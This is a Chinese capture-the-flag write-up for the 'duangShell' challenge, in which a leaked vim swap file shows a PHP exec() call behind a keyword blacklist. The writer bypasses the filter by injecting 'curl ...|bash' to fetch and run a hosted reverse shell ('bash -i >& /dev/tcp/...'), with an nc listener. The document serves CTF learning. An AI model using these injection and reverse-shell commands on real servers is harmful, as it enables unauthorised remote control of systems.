[BJDCTF 2nd]duangShell


[BJDCTF 2nd]duangShell

 

 點擊進去之后提示我們swp源代碼泄露,訪問http://xxx/.index.php.swp下載該文件

該文件產生的原因是:​使用vi編輯器打開文件時,會生成一個.文件名.swp的備份文件,防止意外退出等情況導致文件內容丟失。產生原因主要是管理員在web目錄下修改代碼文件,導致生成了.swp備份文件。

我們使用vim -r 文件名 來恢復內容,然后按下任意鍵就可以看到其中的代碼了。

windows下我在git命令行里面進行操作的,

 

 源代碼如下:

</head>
<body>
    <center><h1>珍愛網</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');          {
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
}      {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}


~

}

  觀察源代碼之后發現是繞過過濾之后命令執行的題目

因為過濾了$符號,所以不能采用這種黑名單拼接的方式繞過

a=ca;b=t;c=flag;$ab $c

  禁用了base64之后不能使用base64編碼繞過

`echo "Y2F0IGZsYWc="|base64 -d`

  又想了一些奇怪的姿勢,着實不行,看師傅們的博客吧。

這道題用到的是反彈shell,又漲知識了,關於反彈shell可以看先知上的這兩篇文章:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

接着我們申請一個小號,在basic開啟一台內網主機,默認好像apache服務已經開啟了,在/var/www/html 下寫入反彈shell

bash -i >& /dev/tcp/[ip]/[port] 0>&1

  這里的ip是內網主機的ip,使用ifconfig可以查看,port自己指定,我這里使用的是4444

接着監聽本地的4444端口

nc -lvvp 4444

  在題目珍愛網界面,POST數據為:

girl_friend=curl http://[ip]/[文件名]|bash

 

 

  

ip是內網主機的IP,文件名是在html文件夾下寫入的反彈shell的文件名,我這里是shell.txt

因為題目沒有禁止curl,讓珍愛網題目PHP代碼里的exec執行curl訪問內網靶機的寫有反彈shell命令的文件,使內網靶機獲取到反彈shell。

獲取到反彈shell之后,題目靶機根目錄下有假的flag文件

 

 使用linux 的find命令查找flag

find / -name *flag*

  等待一會就能看到真實flag所在的位置了,然后cat查看一下就能獲取flag

 

 獲得flag

學習了反彈shell的一些操作

 

參考博客:

https://blog.csdn.net/qq_40648358/article/details/105011659

https://www.cnblogs.com/gaonuoqi/p/12602309.html

https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM